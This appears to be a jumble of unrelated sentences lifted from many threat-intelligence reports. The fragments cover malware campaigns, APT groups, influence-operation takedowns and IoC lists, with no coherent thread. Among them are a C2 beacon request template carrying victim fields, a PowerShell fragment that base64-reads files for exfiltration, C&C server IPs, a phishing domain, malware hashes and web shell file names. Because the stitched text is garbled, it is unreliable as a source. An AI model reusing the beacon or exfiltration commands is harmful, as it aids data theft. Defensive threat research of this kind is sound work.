Additional Resources


Figure 3.


So, take care, have a great day.


Unit 42 first observed scanning traffic early on March 30, 2022 with HTTP requests to servers that included the test strings within the URL.


That's not how it works at all.


We terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.


Trend Micro™ Deep Security™ provides virtual patching that protects endpoints from threats such as malicious redirections to malware-hosting URLs as well as those that exploit unpatched vulnerabilities.


The lure document redirected from the phishing page that discusses Indian and Pakistani political map issues      Figure 10


Both groups use spear-phishing campaigns with attachments that are embedded with exploits as an entry point to the target system.


But as organizations have gotten more effective at blocking malicious attachments like Hancitor, we’ve seen the attackers behind Hancitor adapt to evade detection and prevention.


In previous years, some CrimsonRAT samples were also found to be hosted on the viral91[.]xyz domain.


Here are three things to watch for:


Articles, News, Reports


The group commonly uses Google or OWA password reset lures to steal credentials from targets, often using the MailJet or SendGrid API to send phishing emails.


Not even misinformation, just storytelling that tries to make it far more dramatic than it is.


Indicators of Compromise (IOCs)


What a difference a year makes in the threat environment.


The malware uses a number of methods to execute the shell command or script.


Infection Vector


TAG actively monitors threat actors and the evolution of their tactics and techniques.


In particular, fake donation websites mimicking popular websites can be misleading, as described earlier.


It then creates a zip file with the name <uniqueId>.zip (note that the unique ID is not a real device ID, the malware just calculates a  custom unique ID based on the device ID value), and writes the files into the compressed file.


The first step is identifying them in your network.


Figure 4.


After downloading the extra DEX file from the C&C server, the second-layer droppers invoke extra code to download, install, and launch the callCam app on the device.


These vendors operate with deep technical expertise to develop and operationalize exploits.


This information was exceptionally useful, as it allowed us to find multiple Facebook accounts controlled by the threat actor.


These two samples appear to be debug versions as they have no activities or any other component except Metasploit.


We studied six widely used DDS implementations, chosen based on executions’ number of users and customers in the critical sectors globally.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


Txt


But those out there who are in positions that might make them a high value target do need to be concerned about this.


Figure 5: GitHub account hosting an HTML page used for C&C communication


Meanwhile, see our full research blog for full details on how attackers are distributing and using XMRig to generate Monero.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Organizations must also identify which systems were affected and immediately isolate them and triage the impacted systems for restorations and recovery.


After an SMS is received, these receivers and observers will check the originating number and/or message body, and block the SMS by some policies (Figure 3 and Figure 4).


We know this time and time again—yes a bunch of nation-state stuff does happen but the vast majority of you are unaffected by it same with there's a massive amount of script-kiddie just sort of scanning random people with random tools that are just seeing what they can get away with that and if you have solid, automated defenses that doesn't really impact you.


Figure 8.


We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.


NSIS Installer sections


The attackers behind Hancitor aren’t the first to time their spam attacks like this, but it is an effective tactic to try and increase their chances of success, especially when combined with the other innovation that we’ve seen.


We updated it again at 4:30 PM to add a link to IssueMakersLab's website and to add new IoC information.


Coincidentally, recent attempts to browse the textile manufacturer’s website result in a 500 internal server error message.


The Director of National Intelligence Avril Haines said “Nevertheless, our analysts assess that Putin is unlikely to be deterred by such setbacks and instead may escalate, essentially doubling down.”


This initial version of ANEL had a hardcoded version labeled “5.0.0 beta1” that contained incomplete code.


Table 1  If one app is signed using the publicly known private keys, it is easy for other apps on the same device to replace this vulnerable app with another APK file, silently with no user knowledge or interaction.


This is somewhat surprising, considering Operation Earth Kitsune’s espionage tools were entirely fresh-developed.


Mattermost server activity.


Through the types of accounts advertised on Taobao, an attacker can steal a student or staff account, assume their identity, and gain unauthorized access to standard university resources.


The OpenSSL library is then initialized, and the core component proceeds to initialize the hard-coded modules.


Additionally, this attack technique is not exclusive to the Sofacy Group.


While malware authors can fake this, useful information can still be gleaned with enough samples.


Decoding this script reveals that it contains a backdoor:


Upon execution, the malware will install itself as a service with the following parameters:  It may also set the following registry key for persistence:


This happens when the data is uploaded with the hidden iframe found in the bottom right part of the page (underlined in red).


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


The group then targets potentially unsecured related organizations that could serve as jumping-off points for attacks.


Indicators of Compromise (IoCs)  SHA-256 Package name Label 0c4b08bec1251b1ebc715a7ef1a712cdcb4d37ce0093d88f7fa73b0e05bf7b0e com.sas.gplayservices.accesibility GSERVICES 38acf26161a2c6429ee40d9b70d8419a9bd00eaa8740d221f943cea3229372dd com.sas.gservices.accesibility GSERVICES 3bf85d0aff5ddc0c57e43b879631ee692d98d01f5c964336471f1cdfe0d291f8 com.example.rat rat 7cb0eb93de496e2141b6e0541465ca71a84063867381085692885c75aa59cb1b com.pdf.searcher.dd Pdf Searcher 8ad18bd8f5d2f1fd9e00211170e8a540ddf7f51618588fab31b4ddd2b34b75e1 com.pdfd.researcher.resaq_ver1 Caller c8e1a702a27309c22728792c64aad4abc14ec2bfad1b30a4f27b8ebc6bcc68ff com.sas.gservices.accesibility GSERVICES   C&C servers  3.95.71.123:3000  18.206.105.66:3000  40.114.109.69:3000  52.21.5.241:2000  Phishing domain  http://gooogle[.]press/    MITRE ATT&CK Techniques  Tactic Technique ID Description Initial Access Masquerade as Legitimate Application T1444 Used to masquerade as a legitimate chat app Persistence Abuse Device Administrator Access to Prevent Removal T1401


We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.


For the full technical analyses of all the malware, techniques, tools, MITRE ATT&CK techniques and indicators of compromise (IoCs) we found in this campaign, download the research brief, “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”.           Tags  Malware | APT & Targeted Attacks | Endpoints | Research |


So there is an overwhelming amount of sort of information or misinformation.


More specifically, the code was separated into two parts.


We’ve summarized all the mentioned findings in the table below.


While we do not have any knowledge of who the actual Lazarus attackers are, the data collected from the backend systems gives us some insights into the internet usage patterns of systems likely owned by Lazarus group members.


Since ransomware threat actors have had years to evolve their techniques, there are now several different ways for attackers to receive payments and provide the "service" they claim to offer.


Endpoint security needs to step outside the endpoint silo to keep step with advanced attackers.


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


The cloud is only one aspect of our full 1H 2021 report.


How to protect NAS devices


The author simply rolled around a bit more.


Figure 1.


TROJ_HTV.ZJGD-A Downloads and executes TeamViewer   C&C 185[.]70[.]186[.]145


We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.


As an associate member of the consortium, Trend Micro will now be able to participate in technical and strategic projects and help to shape the ROS-I roadmap.


Oplib.dll side-loading


Situation Overview


EDR is an example of how stealthy or evasive attackers can be better uncovered than with traditional endpoint protection.


installing  decrypt.exe – 661d4a0d877bac9b813769a85c01bce274a77b29ccbd4b71e5b92df3c425b93b gdrive.exe – cbd9cb7b69f864ce8bae983ececb7cf8627f9c17fdaba74bd39baa5cdf605f79  3fd45b9b33ff5b6363ba0013178572723b0a912deb8235a951aa3f0aa3142509 installing  decrypt.exe – 661d4a0d877bac9b813769a85c01bce274a77b29ccbd4b71e5b92df3c425b93b gdrive.exe – 2060f1e108f5feb5790320c38931e3dc6c7224edf925bf6f1840351578bbf9cc  Decoy File


The lack of webshell functionality suggests that this is likely uploaded by scanners attempting to discover servers vulnerable to SpringShell.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


An old sample of the module (30ccfbf24b7c8cc15f85541d5ec18feb0e19e75e1e4d2bca9941e6585dad7bc7) is likely a watchdog to check the status of another module that is known as “c1222”.  The malicious actors can change this behavior by replacing the content of the cdaemon.txt service in the cloud so that when combined with the regular execution of the scheduled task, the cdaemon task can behave like a backdoor.


Main Routine functions {Variable}.work.report Reports to server {Variable}.work.error Returns error {Variable}.work.make_url Alters/Modifies URL (C&C) {Variable}.work.get


In the end, while Hancitor may not be sophisticated, these steps to adapt and stay effective seem to be succeeding.


, the attacker can exfiltrate data/documents using the following commands:  powershell -command "[Convert]::ToBase64String([IO.File]::ReadAllBytes('{filename}')       Figure 11.


Palo Alto Networks detects and prevents Conti ransomware in the following ways:  Additionally, Indicators of Compromise (IoCs) associated with Conti are available on GitHub, and have been published to the Unit 42 TAXII feed.


The content of the cdaemon.txt backdoor     The c1222 module


Take, for example, the following sample:  48f67be806b4e823280f03ee5512ffd58deb6f37ecc80842265d4e8d2ca30055.


The name of the web shell file is hardcoded to be either “ec_ver.php,” “log3.php,” or “temp.php.”


Figure 4.


Decrypted C&C configuration


This new vulnerability does NOT affect Android 8.0 Oreo, the latest version; but it does affect all prior versions of Android.